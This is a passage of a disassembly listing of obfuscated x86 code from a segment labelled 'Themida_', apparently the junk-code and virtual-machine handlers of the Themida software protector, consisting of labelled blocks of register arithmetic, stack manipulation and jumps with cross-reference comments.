; ---------------------------------------------------------------------------
loc_5A21D2: ; CODE XREF: Themida_:005A90B9j
mov ebp, 79356937h
xchg edi, ebp
inc edi
xchg edi, ebp
xor ebp, 8FF2FB0h
add ebp, 8E35B97Ch
jmp loc_5A2937
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, esp
push ecx
jmp loc_5A8FDF
; ---------------------------------------------------------------------------
loc_5A2208: ; CODE XREF: Themida_:005AB9D2j
xor edi, 52DE3100h
jg loc_5A693B
push ecx
mov ecx, 4E77E6Eh
jmp loc_5A101F
; ---------------------------------------------------------------------------
loc_5A221F: ; CODE XREF: Themida_:0059F069j
add eax, 6C9912B4h
jo loc_5AF62C
push ebp
jmp loc_59FCAF
; ---------------------------------------------------------------------------
loc_5A2230: ; CODE XREF: Themida_:005AB0CDj
; Themida_:005AE80Dj
add ebx, 0DA2FA878h
jmp loc_5A7C3F
; ---------------------------------------------------------------------------
loc_5A223B: ; CODE XREF: Themida_:005A09A9j
; Themida_:005A8A3Bj
mov eax, edx
mov ebp, eax
pop eax
mov edx, [esp]
add esp, 4
push ecx
mov ecx, 886A8B89h
mov edi, ecx
mov ecx, [esp]
add esp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
add ebx, 6FB0B3Fh
add ebx, edi
sub ebx, 6FB0B3Fh
pop edi
jmp loc_59B351
; ---------------------------------------------------------------------------
loc_5A2270: ; CODE XREF: Themida_:005AF1F4j
mov ecx, [esp]
add esp, 4
push 36CCh
mov [esp], eax
push esp
jmp loc_5A2B0F
; ---------------------------------------------------------------------------
loc_5A2284: ; CODE XREF: Themida_:0059B29Bj
pop edx
add eax, 16B87547h
jmp loc_59AA37
; ---------------------------------------------------------------------------
loc_5A228F: ; CODE XREF: Themida_:005A6505j
add esp, 4
jmp loc_5A15C9
; ---------------------------------------------------------------------------
loc_5A2297: ; CODE XREF: Themida_:0059DCE0j
push ecx
mov ecx, 3FF878B9h
not ecx
jmp loc_5A6D26
; ---------------------------------------------------------------------------
loc_5A22A4: ; CODE XREF: Themida_:0059FA94j
mov esi, ecx
mov ecx, [esp]
add esp, 4
push esi
jmp loc_5AE42D
; ---------------------------------------------------------------------------
loc_5A22B5: ; CODE XREF: Themida_:005AF5C0j
mov al, 0E5h
jmp loc_5ADAE5
; ---------------------------------------------------------------------------
loc_5A22BC: ; CODE XREF: Themida_:005A5AE8j
pop ebx
add edi, 0BC00F3D9h
and eax, edi
push dword ptr [esp]
pop edi
jmp loc_5AE980
; ---------------------------------------------------------------------------
loc_5A22CE: ; CODE XREF: Themida_:0059BD21j
push 1959h
mov [esp], ebx
mov ebx, 719C7484h
add [esp+4], ebx
pop ebx
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
push ecx
mov ecx, 5A5014FAh
and ecx, 70EB4DDDh
neg ecx
and ecx, 470C43E4h
and ecx, 421E33C7h
jmp loc_59B400
; ---------------------------------------------------------------------------
loc_5A2308: ; CODE XREF: Themida_:005AA0E2j
mov esi, 49F6E5Ch
mov ecx, 49F6E5Eh
jmp loc_5A12F7
; ---------------------------------------------------------------------------
loc_5A2317: ; CODE XREF: Themida_:005ABA39j
pop dword ptr [esp]
jmp loc_5AD937
; ---------------------------------------------------------------------------
loc_5A231F: ; CODE XREF: Themida_:005A573Dj
push 2BDBh
mov [esp], esp
push ebp
jmp loc_5AA671
; ---------------------------------------------------------------------------
loc_5A232D: ; CODE XREF: Themida_:0059E71Aj
add esp, 4
mov ecx, 0B3B695Fh
jmp loc_5A8F9F
; ---------------------------------------------------------------------------
loc_5A233A: ; CODE XREF: Themida_:0059BC88j
; Themida_:0059FB2Fj
jns loc_59986E
add dl, 0D7h
add bl, dl
pop edx
sub bl, 94h
sub bl, 49h
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
jmp loc_59D942
; ---------------------------------------------------------------------------
loc_5A2357: ; CODE XREF: Themida_:005A0B16j
mov esp, [esp]
xor [esp], eax
jmp loc_5A7FE0
; ---------------------------------------------------------------------------
loc_5A2362: ; CODE XREF: Themida_:005A00A6j
push ecx
jmp loc_5A7C6D
; ---------------------------------------------------------------------------
loc_5A2368: ; CODE XREF: Themida_:005AA388j
mov bl, 4Dh
add bl, 0E9h
sub bl, 4Fh
add bl, 0D8h
jnb loc_5AE7C0
jmp loc_5A5039
; ---------------------------------------------------------------------------
loc_5A237E: ; CODE XREF: Themida_:005AA6FFj
sub cl, 0C1h
jmp loc_5A63A3
; ---------------------------------------------------------------------------
loc_5A2386: ; CODE XREF: Themida_:005A9310j
pop esp
jmp loc_5A67CA
; ---------------------------------------------------------------------------
loc_5A238C: ; CODE XREF: Themida_:005A0384j
not dword ptr [esp]
pop eax
neg eax
jl loc_59D512
shl eax, 1
jnp loc_59D3AA
jmp loc_5A05DF
; ---------------------------------------------------------------------------
loc_5A23A5: ; CODE XREF: Themida_:0059EAF6j
jmp loc_5AF14D
; ---------------------------------------------------------------------------
loc_5A23AA: ; DATA XREF: Themida_:0059886Co
push 1BB0h
jmp loc_59BC50
; ---------------------------------------------------------------------------
loc_5A23B4: ; CODE XREF: Themida_:005A2BF2j
add ebx, 362F79C6h
mov edi, ebx
pop ebx
sub eax, edi
jmp loc_59C74D
; ---------------------------------------------------------------------------
loc_5A23C4: ; CODE XREF: Themida_:005A3455j
; Themida_:005A91AAj
add ebx, 5EA10964h
push edi
mov edi, 7FB70AB4h
jmp loc_5AF3DF
; ---------------------------------------------------------------------------
loc_5A23D5: ; CODE XREF: Themida_:005ADB3Dj
push ebp
jmp loc_5A4AFB
; ---------------------------------------------------------------------------
loc_5A23DB: ; CODE XREF: Themida_:0059E627j
push 0BB9h
mov [esp], ecx
push esi
jmp loc_5AA8C4
; ---------------------------------------------------------------------------
loc_5A23E9: ; CODE XREF: Themida_:005AB939j
mov dh, ch
mov ecx, [esp]
jmp loc_5A411A
; ---------------------------------------------------------------------------
loc_5A23F3: ; CODE XREF: Themida_:0059EE29j
shr esi, 6
xor esi, 0E7B40B5h
xor esi, 0AF3A59FFh
xor ebx, esi
pop esi
jmp loc_59C13D
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
pop ebx
sub esp, 4
mov [esp], ebp
push edx
mov edx, 122837E5h
mov ebp, edx
pop edx
push 2A3h
mov [esp], ebx
mov ebx, 636643BFh
shr ebx, 8
jz loc_59D75B
neg ebx
xchg eax, ebx
jmp loc_5A2FC5
; ---------------------------------------------------------------------------
loc_5A2441: ; CODE XREF: Themida_:005A4255j
; Themida_:005ABAB0j
jmp loc_5AED3D
; ---------------------------------------------------------------------------
loc_5A2446: ; CODE XREF: Themida_:0059CBEAj
push dword ptr [esp]
pop edi
jmp loc_59FDEA
; ---------------------------------------------------------------------------
loc_5A244F: ; CODE XREF: Themida_:005A04CEj
shl ebp, 8
add ebp, 0DCE2CE04h
jmp loc_5A6E7F
; ---------------------------------------------------------------------------
loc_5A245D: ; CODE XREF: Themida_:005AD0ADj
push eax
push dword ptr [esp+4]
jmp loc_5AD17F
; ---------------------------------------------------------------------------
loc_5A2467: ; CODE XREF: Themida_:005AD4FDj
pop esp
jmp loc_59B445
; ---------------------------------------------------------------------------
loc_5A246D: ; CODE XREF: Themida_:0059DD07j
and dh, 0ADh
xor dh, 0B9h
xor ch, dh
pop edx
add al, ch
jmp loc_5AE25E
; ---------------------------------------------------------------------------
loc_5A247D: ; CODE XREF: Themida_:00599A41j
pop eax
jmp loc_5A76BA
; ---------------------------------------------------------------------------
loc_5A2483: ; CODE XREF: Themida_:005A7EECj
push ebp
mov ebp, 830E41C8h
add edi, ebp
jmp loc_59AC43
; ---------------------------------------------------------------------------
loc_5A2490: ; CODE XREF: Themida_:00599A64j
; Themida_:005A3353j
mov eax, 18D1240Bh
push edi
mov edi, eax
push edi
pop ecx
mov edi, [esp]
add esp, 4
jmp loc_5A1DB2
; ---------------------------------------------------------------------------
loc_5A24A8: ; CODE XREF: Themida_:005AABD1j
push 5270h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push 51EEh
mov [esp], ebp
push 64FAh
mov [esp], eax
mov eax, 0FBE3F09h
mov ebp, 0FBE3F0Dh
xor ebp, eax
jmp loc_5AB6DD
; ---------------------------------------------------------------------------
loc_5A24DB: ; CODE XREF: Themida_:005AA4D6j
mov cl, 81h
mov al, cl
pop ecx
mov bh, al
pop ax
add bh, ch
jmp loc_5A11EA
; ---------------------------------------------------------------------------
loc_5A24EB: ; CODE XREF: Themida_:005A6BC8j
xor [esp], ebx
jmp loc_5ACC93
; ---------------------------------------------------------------------------
loc_5A24F3: ; DATA XREF: Themida_:0059873Co
mov ax, [esp]
push 4D24h
jmp loc_59B215
; ---------------------------------------------------------------------------
loc_5A2501: ; CODE XREF: Themida_:0059DA51j
push 65B3h
mov [esp], esi
push 1256h
jmp loc_59CD80
; ---------------------------------------------------------------------------
loc_5A2513: ; CODE XREF: Themida_:005A7E1Cj
pop edx
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_5ACE03
; ---------------------------------------------------------------------------
loc_5A2524: ; CODE XREF: Themida_:005A4A9Aj
sub ebp, 5C367BF9h
or ebp, 6FD711BDh
jmp loc_5A065A
; ---------------------------------------------------------------------------
loc_5A2535: ; CODE XREF: Themida_:0059BD0Aj
mov [esp], eax
mov eax, 48654161h
mov ebp, eax
pop eax
jmp loc_5A54FC
; ---------------------------------------------------------------------------
loc_5A2545: ; CODE XREF: Themida_:loc_5AC7B6j
add ebx, 0FD97309h
jmp loc_5A9435
; ---------------------------------------------------------------------------
loc_5A2550: ; CODE XREF: Themida_:005A348Dj
; Themida_:005ABF6Bj ...
pop edi
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub eax, 128D7BD8h
push 2938h
jmp loc_5AE582
; ---------------------------------------------------------------------------
loc_5A256D: ; CODE XREF: Themida_:0059996Aj
; Themida_:005A8AA0j
push esp
jmp loc_5A2717
; ---------------------------------------------------------------------------
loc_5A2573: ; CODE XREF: Themida_:005AC107j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5AB4A4
; ---------------------------------------------------------------------------
loc_5A258A: ; CODE XREF: Themida_:005AEBA9j
sub esp, 4
jmp loc_5ABD49
; ---------------------------------------------------------------------------
loc_5A2595: ; DATA XREF: Themida_:00598714o
push 374Bh
mov [esp], eax
mov eax, 435C54B5h
shr eax, 1
jmp loc_5A29E7
; ---------------------------------------------------------------------------
loc_5A25A9: ; CODE XREF: Themida_:005A4051j
sub ebx, 12D09ADAh
xor edi, ebx
pop ebx
not edi
add edi, 59EBF62h
jmp loc_59FD2A
; ---------------------------------------------------------------------------
loc_5A25BF: ; DATA XREF: Themida_:005987E8o
mov ax, [esp]
jmp loc_59B565
; ---------------------------------------------------------------------------
loc_5A25C8: ; CODE XREF: Themida_:0059BF70j
add eax, 57A4625Bh
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5AE719
; ---------------------------------------------------------------------------
loc_5A25DC: ; CODE XREF: Themida_:005A1FCDj
push 6B3Dh
mov [esp], eax
mov al, dh
jmp loc_59F969
; ---------------------------------------------------------------------------
loc_5A25EB: ; CODE XREF: Themida_:005AE358j
sub bl, cl
pop ecx
mov ecx, [esp]
jmp loc_5A8B9B
; ---------------------------------------------------------------------------
loc_5A25F6: ; CODE XREF: Themida_:005A26F2j
add edx, 52B907C3h
push ecx
jmp loc_59C4F2
; ---------------------------------------------------------------------------
loc_5A2602: ; CODE XREF: Themida_:005AD3FEj
shl dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A260B: ; CODE XREF: Themida_:005A0D03j
; Themida_:005A5A0Bj
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A2615: ; CODE XREF: Themida_:005A2852j
; Themida_:005A8173j
add edx, ecx
push edi
jmp loc_5A5AC6
; ---------------------------------------------------------------------------
loc_5A261D: ; CODE XREF: Themida_:005A9552j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
jmp loc_59F025
; ---------------------------------------------------------------------------
loc_5A2649: ; CODE XREF: Themida_:005AE428j
add ebx, 695F7241h
add ebx, ebp
push edx
mov edx, 695F7241h
sub ebx, 37F443CBh
jmp loc_59D7B1
; ---------------------------------------------------------------------------
loc_5A2662: ; CODE XREF: Themida_:005AAAD9j
xchg eax, edx
jmp loc_59B340
; ---------------------------------------------------------------------------
loc_5A2668: ; CODE XREF: Themida_:0059D18Ej
add ebp, 4
push eax
mov eax, 4
jmp loc_599568
; ---------------------------------------------------------------------------
loc_5A2679: ; DATA XREF: Themida_:005988F0o
lodsd
add eax, 15B4366Eh
sub eax, ebx
sub esp, 4
mov [esp], ecx
jmp loc_59BFA1
; ---------------------------------------------------------------------------
loc_5A268C: ; CODE XREF: Themida_:005A972Dj
add dword ptr [esp+8], 7EDC5AA0h
pop eax
sub dword ptr [esp+4], 1BEE7CFAh
sub [esp+4], edi
add dword ptr [esp+4], 1BEE7CFAh
push edi
jmp loc_5A9016
; ---------------------------------------------------------------------------
loc_5A26AF: ; CODE XREF: Themida_:0059BC4Bj
push eax
mov eax, 67C50F2Dh
xor esi, eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59BBF1
; ---------------------------------------------------------------------------
loc_5A26C6: ; CODE XREF: Themida_:0059A01Aj
jmp loc_5A9562
; ---------------------------------------------------------------------------
loc_5A26CB: ; CODE XREF: Themida_:005A3A1Cj
mov esi, 4
mov edx, esi
pop esi
add eax, 6E657A1Eh
sub eax, edx
push esi
mov esi, 57271960h
jmp loc_5A4BB1
; ---------------------------------------------------------------------------
loc_5A26E5: ; CODE XREF: Themida_:005AF1C1j
push esp
mov ebx, [esp]
add esp, 4
push edx
mov edx, 68FE1461h
jmp loc_5A25F6
; ---------------------------------------------------------------------------
loc_5A26F7: ; CODE XREF: Themida_:005A4746j
add ecx, 4
push 16C5h
mov [esp], ebx
mov ebx, 4
push ebx
jmp loc_5AD15E
; ---------------------------------------------------------------------------
loc_5A2710: ; CODE XREF: Themida_:005AB7E9j
push ecx
push edx
jmp loc_5AD843
; ---------------------------------------------------------------------------
loc_5A2717: ; CODE XREF: Themida_:005A256Ej
pop dword ptr [esp]
sub esp, 4
mov [esp], ecx
push ebx
jmp loc_5A4398
; ---------------------------------------------------------------------------
loc_5A2729: ; CODE XREF: Themida_:005A19C1j
pop ebx
jmp loc_5A68C8
; ---------------------------------------------------------------------------
loc_5A272F: ; CODE XREF: Themida_:005A826Ej
pop dword ptr [esp]
jmp loc_5A6557
; ---------------------------------------------------------------------------
loc_5A2737: ; CODE XREF: Themida_:0059F816j
not ecx
jmp loc_59E8A6
; ---------------------------------------------------------------------------
loc_5A273E: ; CODE XREF: Themida_:005AC07Aj
add esp, 4
push 6DDCh
mov [esp], ecx
mov ecx, 17503033h
add ecx, 5D164FFDh
jmp loc_5AF86E
; ---------------------------------------------------------------------------
loc_5A2759: ; CODE XREF: Themida_:005A977Dj
shr eax, 6
jmp loc_5A0898
; ---------------------------------------------------------------------------
loc_5A2761: ; CODE XREF: Themida_:0059BEFBj
mov al, 2
mov bh, al
pop eax
mov cl, bh
pop ebx
or cl, 0C3h
push 3D1Ah
mov [esp], eax
push edx
jmp loc_59B328
; ---------------------------------------------------------------------------
loc_5A277A: ; CODE XREF: Themida_:0059B07Aj
; Themida_:loc_5AA6A3j
xor edx, 4AE42521h
not edx
shl edx, 6
sub edx, 1CBEF780h
jmp loc_59AD80
; ---------------------------------------------------------------------------
loc_5A2790: ; CODE XREF: Themida_:005A6CF8j
and ebp, 7AA2715Ah
sub ebp, 2D374E8Fh
add edx, ebp
pop ebp
add edx, eax
sub edx, 1D4B12B9h
pop eax
add ebp, edx
push dword ptr [esp]
pop edx
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A760F
; ---------------------------------------------------------------------------
loc_5A27C2: ; CODE XREF: Themida_:loc_5A9374j
add esi, 5783B8C7h
add eax, esi
jmp loc_59C2CC
; ---------------------------------------------------------------------------
loc_5A27CF: ; CODE XREF: Themida_:005A9459j
push ax
mov ax, 0D300h
xor di, ax
pop ax
add bx, di
pop edi
add bx, cx
jmp loc_59D470
; ---------------------------------------------------------------------------
loc_5A27E6: ; CODE XREF: Themida_:005AB9A0j
mov al, 99h
and al, 0F2h
jmp loc_59B169
; ---------------------------------------------------------------------------
loc_5A27EF: ; CODE XREF: Themida_:0059FB97j
sub esp, 4
mov [esp], edi
jmp loc_59BA77
; ---------------------------------------------------------------------------
loc_5A27FD: ; CODE XREF: Themida_:00599851j
dec edx
jmp loc_5A6400
; ---------------------------------------------------------------------------
loc_5A2803: ; CODE XREF: Themida_:0059F587j
mov eax, esp
add eax, 4
jmp loc_5A2DBF
; ---------------------------------------------------------------------------
loc_5A280F: ; CODE XREF: Themida_:0059A4BEj
add ebx, 47146D50h
jmp loc_5A58F7
; ---------------------------------------------------------------------------
loc_5A281A: ; CODE XREF: Themida_:005A39DFj
push 3408h
jmp loc_59DDCE
; ---------------------------------------------------------------------------
loc_5A2824: ; CODE XREF: Themida_:005A186Fj
pop esi
pop dword ptr [esp]
pop esp
mov [esp], ebx
push 3CF33EFAh
pop ebx
add esi, ebx
jmp loc_5A2F8C
; ---------------------------------------------------------------------------
loc_5A2839: ; CODE XREF: Themida_:loc_59E805j
or esi, 3D783FDDh
jmp loc_5A549A
; ---------------------------------------------------------------------------
loc_5A2844: ; CODE XREF: Themida_:005A8298j
mov [esp], ecx
jmp loc_59BBEA
; ---------------------------------------------------------------------------
loc_5A284C: ; CODE XREF: Themida_:005AFA20j
add ebx, 26680828h
jb loc_5A2615
sub ebx, 86423A4Fh
jmp loc_5A0415
; ---------------------------------------------------------------------------
loc_5A2863: ; CODE XREF: Themida_:005AC555j
push dword ptr [esp+4]
pop eax
jmp loc_5A1837
; ---------------------------------------------------------------------------
loc_5A286D: ; CODE XREF: Themida_:005AB59Cj
pop eax
dec eax
xor eax, 608A7636h
sub esp, 4
mov [esp], eax
pop ebp
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 546C5A57h
sub ecx, 1
push esi
mov esi, 512A22E2h
push edx
mov edx, 333757C4h
or edx, 7BA4454Eh
or edx, 39B85697h
not edx
xor edx, 585B38F0h
shl edx, 6
push edi
mov edi, 16CB6EB8h
not edi
push eax
jmp loc_5A5F56
; ---------------------------------------------------------------------------
loc_5A28C1: ; CODE XREF: Themida_:005A64D2j
mov [esp], eax
jmp loc_5A39B6
; ---------------------------------------------------------------------------
loc_5A28C9: ; CODE XREF: Themida_:0059C4E2j
mov eax, [esp]
push eax
jmp loc_59A795
; ---------------------------------------------------------------------------
loc_5A28D2: ; CODE XREF: Themida_:00599325j
ja loc_5A9BAF
push edx
mov edx, 71682ABDh
xor esi, edx
mov edx, [esp]
push ecx
loc_5A28E4: ; CODE XREF: Themida_:0059C4EDj
add esp, 4
xchg ebp, [esp]
pop esp
push edx
mov dh, 0F8h
push ebx
push edx
mov dl, 7Fh
mov bh, 0BEh
add bh, dl
pop edx
sub bh, 4Eh
jmp loc_599D1D
; ---------------------------------------------------------------------------
loc_5A2902: ; CODE XREF: Themida_:005AD250j
not bl
mov ah, bl
pop ebx
sub ah, 1
sub ah, 0CAh
shr ah, 8
inc ah
sub esp, 4
mov [esp], edx
mov dh, 0CFh
add ah, 77h
add ah, dh
sub ah, 77h
push dword ptr [esp]
pop edx
add esp, 4
mov cl, ah
mov eax, [esp]
push ebx
jmp loc_59D68D
; ---------------------------------------------------------------------------
loc_5A2937: ; CODE XREF: Themida_:005A21E8j
add ebx, ebp
mov ebp, [esp]
jmp loc_5A70E8
; ---------------------------------------------------------------------------
loc_5A2941: ; CODE XREF: Themida_:0059CD84j
add dword ptr [esp], 4
pop esi
sub esp, 4
jmp loc_59C2B0
; ---------------------------------------------------------------------------
loc_5A2951: ; CODE XREF: Themida_:0059CDEDj
; Themida_:005A0001j
mov eax, 20A804FAh
sub eax, 40075519h
shl eax, 2
xor eax, 0B0BDA9B3h
push ebp
mov ebp, 3F9459A4h
and ebp, 14B67D78h
shl ebp, 8
jmp loc_5AB17D
; ---------------------------------------------------------------------------
loc_5A2977: ; CODE XREF: Themida_:00599406j
sub dx, 25F8h
jmp loc_5A62E2
; ---------------------------------------------------------------------------
loc_5A2981: ; CODE XREF: Themida_:005A8839j
pop edx
add eax, ecx
add eax, 2CEB29FAh
pop ecx
jmp loc_5A2E24
; ---------------------------------------------------------------------------
loc_5A298F: ; CODE XREF: Themida_:005A35B7j
push edi
mov edi, 387A7400h
dec edi
shl edi, 6
jmp loc_5A424F
; ---------------------------------------------------------------------------
loc_5A299E: ; CODE XREF: Themida_:005A32F9j
add ebp, 891FDA11h
add eax, ebp
pop ebp
add eax, edx
sub eax, 125D4959h
jmp loc_59EE59
; ---------------------------------------------------------------------------
loc_5A29B3: ; CODE XREF: Themida_:005A1F51j
sub eax, 4745419Eh
sub eax, ebx
jmp loc_5A0043
; ---------------------------------------------------------------------------
loc_5A29BF: ; DATA XREF: Themida_:005986FCo
mov sp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A29C8: ; CODE XREF: Themida_:0059DF6Ej
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A29DE: ; CODE XREF: Themida_:005A955Dj
add esp, 4
push edx
jmp loc_5AD2D4
; ---------------------------------------------------------------------------
loc_5A29E7: ; CODE XREF: Themida_:005A25A4j
push ecx
jmp loc_599671
; ---------------------------------------------------------------------------
loc_5A29ED: ; CODE XREF: Themida_:0059F8A1j
sub bl, cl
add bl, 15h
mov ecx, [esp]
jmp loc_59B517
; ---------------------------------------------------------------------------
loc_5A29FA: ; CODE XREF: Themida_:005A0E4Fj
dec ebx
and ebx, 3A787FA5h
jmp loc_5A9369
; ---------------------------------------------------------------------------
loc_5A2A06: ; CODE XREF: Themida_:0059FBF6j
add dword ptr [esp], 4
pop eax
push ebp
mov ebp, 4
jmp loc_5AA2AE
; ---------------------------------------------------------------------------
loc_5A2A16: ; CODE XREF: Themida_:005A53EFj
sub ebp, 4
xchg ebp, [esp]
jmp loc_5A3194
; ---------------------------------------------------------------------------
loc_5A2A21: ; CODE XREF: Themida_:005A74FAj
add edx, 4
jmp loc_5A2FB1
; ---------------------------------------------------------------------------
loc_5A2A2C: ; CODE XREF: Themida_:005A0434j
pop cx
xor dl, 9Ch
xor ch, dl
pop edx
push small 0
add byte ptr [esp], 0F8h
add byte ptr [esp], 0C5h
sub [esp], ch
sub byte ptr [esp], 0C5h
push dx
mov dl, 0F8h
jmp loc_5A8097
; ---------------------------------------------------------------------------
loc_5A2A50: ; CODE XREF: Themida_:0059ABFFj
sub ecx, 218C4AE7h
or ecx, 758692Bh
jmp loc_59F451
; ---------------------------------------------------------------------------
loc_5A2A61: ; CODE XREF: Themida_:005A463Ej
jz loc_5A5C3C
jmp loc_5A0DCC
; ---------------------------------------------------------------------------
loc_5A2A6C: ; CODE XREF: Themida_:005A4695j
add esp, 4
push ecx
mov ecx, 79CD6CBAh
mov ebp, 0E19ACAB6h
xor ebp, ecx
pop ecx
add ebp, esi
mov esi, [esp]
add esp, 4
add edx, 52143162h
add edx, 7381274Dh
jmp loc_5AB2B0
; ---------------------------------------------------------------------------
loc_5A2A96: ; CODE XREF: Themida_:0059EB77j
xor ebx, 5C337CD9h
sub ebx, 24F4C6D2h
add ecx, ebx
pop ebx
sub dword ptr [esp+4], 638782Dh
jmp loc_5AC7A2
; ---------------------------------------------------------------------------
loc_5A2AB2: ; CODE XREF: Themida_:005AD515j
mov esi, edx
pop edx
sub edx, 34EE5495h
add edx, esi
add edx, 34EE5495h
pop esi
xor edx, [esp]
jmp loc_59FD7D
; ---------------------------------------------------------------------------
loc_5A2ACC: ; DATA XREF: Themida_:0059879Co
pop dword ptr [edi+40h]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A2AD4: ; CODE XREF: Themida_:005A30FAj
sub esp, 4
jmp loc_59F378
; ---------------------------------------------------------------------------
loc_5A2ADC: ; CODE XREF: Themida_:005A6EC9j
push edx
mov dl, 44h
add dl, 0C9h
shl dl, 6
jmp loc_5ADAD2
; ---------------------------------------------------------------------------
loc_5A2AEA: ; CODE XREF: Themida_:005A14E0j
xor ch, 6Ch
jmp loc_59D109
; ---------------------------------------------------------------------------
loc_5A2AF2: ; CODE XREF: Themida_:005A02FEj
push dword ptr [esp]
pop edi
push edi
jmp loc_599DC8
; ---------------------------------------------------------------------------
loc_5A2AFC: ; CODE XREF: Themida_:005AC881j
add ebp, ebx
jmp loc_59D583
; ---------------------------------------------------------------------------
loc_5A2B03: ; CODE XREF: Themida_:005ADCFBj
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5AE8DD
; ---------------------------------------------------------------------------
loc_5A2B0F: ; CODE XREF: Themida_:005A227Fj
pop eax
add eax, 4
add eax, 4
jmp loc_5AF43D
; ---------------------------------------------------------------------------
loc_5A2B1D: ; CODE XREF: Themida_:005A41C2j
add edi, 0FD05424Ch
add [esp+4], edi
mov edi, [esp]
jmp loc_598D01
; ---------------------------------------------------------------------------
loc_5A2B2F: ; CODE XREF: Themida_:005ADF64j
mov [esp], esi
jmp loc_599D35
; ---------------------------------------------------------------------------
loc_5A2B37: ; CODE XREF: Themida_:005A9DEEj
sub dword ptr [esp], 0AE2429Dh
sub [esp], eax
jmp loc_5A78FE
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_5AA768
; ---------------------------------------------------------------------------
loc_5A2B51: ; CODE XREF: Themida_:005A9045j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
div cl
movzx cx, ah
push edi
sub esp, 4
push 695h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
push edx
jmp loc_5AC492
; ---------------------------------------------------------------------------
loc_5A2B87: ; CODE XREF: Themida_:005A7E95j
mov [eax], dl
jmp loc_5A2CDD
; ---------------------------------------------------------------------------
loc_5A2B8E: ; CODE XREF: Themida_:005A94A1j
mov esp, [esp]
mov [esp], ebx
mov ebx, 28EF3E10h
add ebx, 3779317Bh
push ebp
jmp loc_5A18B4
; ---------------------------------------------------------------------------
loc_5A2BA5: ; CODE XREF: Themida_:005A0BC4j
mov ah, bl
push edx
jmp loc_5A1237
; ---------------------------------------------------------------------------
loc_5A2BAD: ; CODE XREF: Themida_:005A6E7Aj
sub esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_59B04F
; ---------------------------------------------------------------------------
loc_5A2BBF: ; CODE XREF: Themida_:005A3B57j
push 2E36h
mov [esp], ebx
mov ebx, 7DFA0BB8h
jmp loc_5A0F7F
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push 393Fh
jmp loc_59B714
; ---------------------------------------------------------------------------
loc_5A2BE0: ; CODE XREF: Themida_:005AF50Dj
push edi
push ebx
mov ebx, 0C0915EBh
shl ebx, 8
inc ebx
jl loc_5A7359
dec ebx
jp loc_5A23B4
add ebx, 362F79C6h
mov edi, ebx
pop ebx
sub eax, edi
loc_5A2C03: ; CODE XREF: Themida_:005A72AAj
push ebx
mov ebx, 53A7228Dh
not ebx
sub ebx, 7E074FE2h
shl ebx, 1
not ebx
jmp loc_5A8548
; ---------------------------------------------------------------------------
loc_5A2C1A: ; CODE XREF: Themida_:005A78F9j
; Themida_:005AD99Aj
shl edx, 1
jmp loc_59D64E
; ---------------------------------------------------------------------------
loc_5A2C21: ; CODE XREF: Themida_:005A9D41j
xor esi, 0A036C9Fh
shr esi, 1
jmp loc_5A5DC9
; ---------------------------------------------------------------------------
loc_5A2C2E: ; CODE XREF: Themida_:005A2039j
sub edi, eax
pop eax
dec edi
not edi
xor edi, 168D5ED6h
xor edi, 63596F9Dh
sub eax, 264B5FFFh
add eax, edi
jmp loc_5AD12E
; ---------------------------------------------------------------------------
loc_5A2C4C: ; CODE XREF: Themida_:005A7890j
sub ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_5ADEA9
; ---------------------------------------------------------------------------
loc_5A2C5C: ; CODE XREF: Themida_:005A9CEAj
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_5AB429
; ---------------------------------------------------------------------------
loc_5A2C6C: ; CODE XREF: Themida_:005A581Aj
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
and [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A2C81: ; CODE XREF: Themida_:005AD66Bj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_5A5B7F
; ---------------------------------------------------------------------------
loc_5A2C8F: ; CODE XREF: Themida_:005AFBD7j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A2C94: ; CODE XREF: Themida_:005AC85Fj
shr ch, 6
push edx
mov dh, 1Dh
push ax
mov al, 0FFh
add dh, al
pop ax
jmp loc_5A908C
; ---------------------------------------------------------------------------
loc_5A2CA7: ; CODE XREF: Themida_:0059D68Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_59D52A
; ---------------------------------------------------------------------------
loc_5A2CBB: ; CODE XREF: Themida_:005A8F9Aj
push edx
